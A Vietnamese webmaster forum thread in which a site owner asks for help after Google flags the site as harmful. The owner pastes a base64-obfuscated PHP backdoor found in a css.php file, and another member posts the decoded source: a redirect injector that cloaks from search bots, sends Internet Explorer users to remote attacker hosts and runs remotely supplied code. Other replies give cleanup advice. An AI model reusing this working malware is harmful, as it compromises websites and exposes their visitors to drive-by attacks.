Ask Site dính cảnh báo của google : Website có thể gây hại cho máy tính của bạn

BKParabol

Senior
Joined
May 5, 2012
Messages
556
Reactions
1,233
MR
0.000
Chả là mình có 1 site bị như tiêu đề, Mình có tìm thấy 1 file css.php có đoạn mã
<?php /* 1 */ eval(base64_decode("ZnVuY3Rpb24gZ2V0X3Rkc183NzcoJHVybCl7JGNvbnRlbnQ9IiI7JGNvbnRlbnQ9QHRyeWN1cmxfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmaWxlXzc3NygkdXJsKTtpZigkY29udGVudCE9PWZhbHNlKXJldHVybiAkY29udGVudDskY29udGVudD1AdHJ5Zm9wZW5fNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmc29ja29wZW5fNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlzb2NrZXRfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50O3JldHVybiAnJzt9ICBmdW5jdGlvbiB0cnljdXJsXzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpPT09ZmFsc2UpcmV0dXJuIGZhbHNlOyRjaCA9IGN1cmxfaW5pdCAoKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1VSTCwkdXJsKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTtjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTskcmVzdWx0ID0gY3VybF9leGVjICgkY2gpO2N1cmxfY2xvc2UoJGNoKTtpZiAoJHJlc3VsdD09IiIpcmV0dXJu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9TVCJdKS4iJnA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLiImYT0iLnVybGVuY29kZSgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pOyAgJF9TRVJWRVJbJ3NfYTEnXT1iYXNlNjRfZGVjb2RlKCdhSFIwY0RvdkwyMWhlR2xuWnk1eWRTOW5YMnh2WVdRdWNHaHcnKS4kZDsgICRfU0VSVkVSWydzX2EyJ109YmFzZTY0X2RlY29kZSgnYUhSMGNEb3ZMMjVzYVc1MGFHVjNiMjlrTG1OdmJTOW5YMnh2WVdRdWNHaHcnKS4kZDsgICRfU0VSVkVSWydzX3NjcmlwdCddPSJ0dC5waHA/eD0xIjsgIAlpZiAoJF9TRVJWRVJbJ3NfYjEnXT09MCl7ICAJCWhlYWRlcigiTG9jYXRpb246ICIuZ2V0X2FjdHVhbF90ZHNfNzc3KCkuJF9TRVJWRVJbJ3Nfc2NyaXB0J10pOyAgCQlleGl0OyAgCX0="));?>
Mình nghĩ là do mã trên gây nên cảnh báo trên. Vì thế mình lập topic này mong nhận được sự giúp đỡ của các pro làm sao để xóa hay khắc phục lỗi trên. Bác nào rành xin liên hệ BKParabol, mình xin cảm ơn và hậu tạ
 

2tears

Junior
Joined
May 23, 2011
Messages
264
Reactions
193
MR
0.000
Quan trọng là đoạn mã này thôi bạn <?php /* 1 */ eval(base64_decode

Cậu thử cái KIS lên,rồi vào site => nó hiện cảnh báo thì vẫn cố tình vào ( chọn bạn tự chịu trách nhiệm ...) xem KIS nó có phát hiện ra mã độc ko.nếu nó phát hiện ra thì chính là thủ phạm đấy,rồi vào site tìm rồi xóa đi
 

trinhthai

Hero
Joined
May 31, 2011
Messages
1,044
Reactions
223
MR
0.057
Follow me on Facebook
đây giải mã ra cho bạn nè:

function get_tds_777($url){$content="";$content=@trycurl_777($url);if($content!==false)return $content;$content=@tryfile_777($url);if($content!==false)return $content;$content=@tryfopen_777($url);if($content!==false)return $content;$content=@tryfsockopen_777($url);if($content!==false)return $content;$content=@trysocket_777($url);if($content!==false)return $content;return '';} function trycurl_777($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;} function tryfile_777($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;} function tryfopen_777($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;} function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;} function trysocket_777($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;} function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];$actual2=$_SERVER['s_a2'];$val=get_tds_777($actual1);if ($val=="")$val=get_tds_777($actual2);$f=@fopen($tdsfile,"w");if ($f){@fwrite($f,$val);@fclose($f);}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);eval(base64_decode($code));}return $val;} function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];$dir=$_SERVER['s_p1'];$tdsfile=$dir."log1.txt";if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);$ctime=time()-$mtime;if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);}else{$content=@file_get_contents($tdsfile);}}else{$content=update_tds_file_777($tdsfile);}$tds=@explode("\n",$content);$c=@count($tds)+0;$url=$defaultdomain;if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);}return $url;} function is_mac_777($ua){$mac=0;return $mac;} function is_msie_777($ua){$msie=0;if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;return $msie;} $rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";$mz="/tmp/";if (!@is_dir($rz)){@mkdir($rz);if (@is_dir($rz)){$mz=$rz;}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";if (!@is_dir($rz)){@mkdir($rz);if (@is_dir($rz)){$mz=$rz;}}else{$mz=$rz;}}}else{$mz=$rz;}$bot=0;$ua=$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;$msie=0;if (is_msie_777($ua))$msie=1;$mac=0;if (is_mac_777($ua))$mac=1;if (($msie==0)&&($mac==0))$bot=1; $_SERVER['s_p1']=$mz; $_SERVER['s_b1']=$bot; $_SERVER['s_t1']=1200; $_SERVER['s_d1']=base64_decode('aHR0cDovL2VuczEyMnp6emRkYXp6LmNvbS8='); $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1']=base64_decode('aHR0cDovL21heGlnZy5ydS9nX2xvYWQucGhw').$d; $_SERVER['s_a2']=base64_decode('aHR0cDovL25saW50aGV3b29kLmNvbS9nX2xvYWQucGhw').$d; $_SERVER['s_script']="tt.php?x=1"; if ($_SERVER['s_b1']==0){ header("Location: ".get_actual_tds_777().$_SERVER['s_script']); exit; }
 

tunvit

Vip
Verified
Joined
Jun 5, 2011
Messages
3,682
Solutions
1
Reactions
11,906
MR
46.430
Chat with me via Yahoo Messenger Chat with me via Skype
Ko biết site bạn tự code hay wordpress, joomla..? Nếu tự code thì mình tư vấn thế này:
B1: backup toàn bộ site về máy kể cả database, tải lên 1 site under construction (đẹp đẹp 1 tí, = tiếng anh càng tốt)
B2: gửi báo cáo cho google để dc remove khỏi thông báo
B3: kiểm tra bằng tay toàn bộ site lại xem có dính ifram hay javascript nào lạ ko (đọc ko hiểu chẳng hạn), nếu có thì gỡ ra hết hoặc dùng google webmaster tool để check sau đó gỡ hết ra
B4: up lại lên host
 

King

Legendary
Verified
Joined
Nov 9, 2011
Messages
965
Reactions
4,339
MR
20.294
$1,075.00
Services
Call me! Call me! Chat with me via Yahoo Messenger Chat with me via Skype
Cái này xóa đi xong r` báo cho gg là mình xóa r` nó xem xét r` ok.

Bác check kĩ mấy file khác nhé, thường không chỉ nằm trong 1 file. nhớ đổi pass cpanel + user , mysql nữa là ok :D
 
Joined
Apr 13, 2010
Messages
2,687
Reactions
980
MR
0.000
up backdoor mà chơit base64 , chả khác gì không mã hóa , thế up luôn cái source lên cho khỏe vãi thiết , site bác hiện tại là có khả năng có nhiều thứ khác trên site đấy nó đã up backdoor thì nó up thứ gì lên không được
 
Google webmaster tool nó báo thế này thì mình nghĩ chắc soure mới có file css trong wp-includes dính. Mình ko rõ cái này lắm. Bác nào rành vui lòng hướng dẫn mình với, mình sẽ trả phí để mong học hỏi. Cảm ơn
 

alldownfile

Junior
Joined
Dec 2, 2012
Messages
89
Reactions
97
MR
0.000
Google webmaster tool nó báo thế này thì mình nghĩ chắc soure mới có file css trong wp-includes dính. Mình ko rõ cái này lắm. Bác nào rành vui lòng hướng dẫn mình với, mình sẽ trả phí để mong học hỏi. Cảm ơn

bác xóa file nhiễm độc đó đi rồi thông báo lại với google khoảng 2-3 ngày là hết
 

Announcements

Today's birthdays

Forum statistics

Threads
425,177
Messages
7,153,103
Members
177,727
Latest member
chichliveboo

Most viewed of week

Most discussed of week

Most viewed of week

Most discussed of week

Back
Top Bottom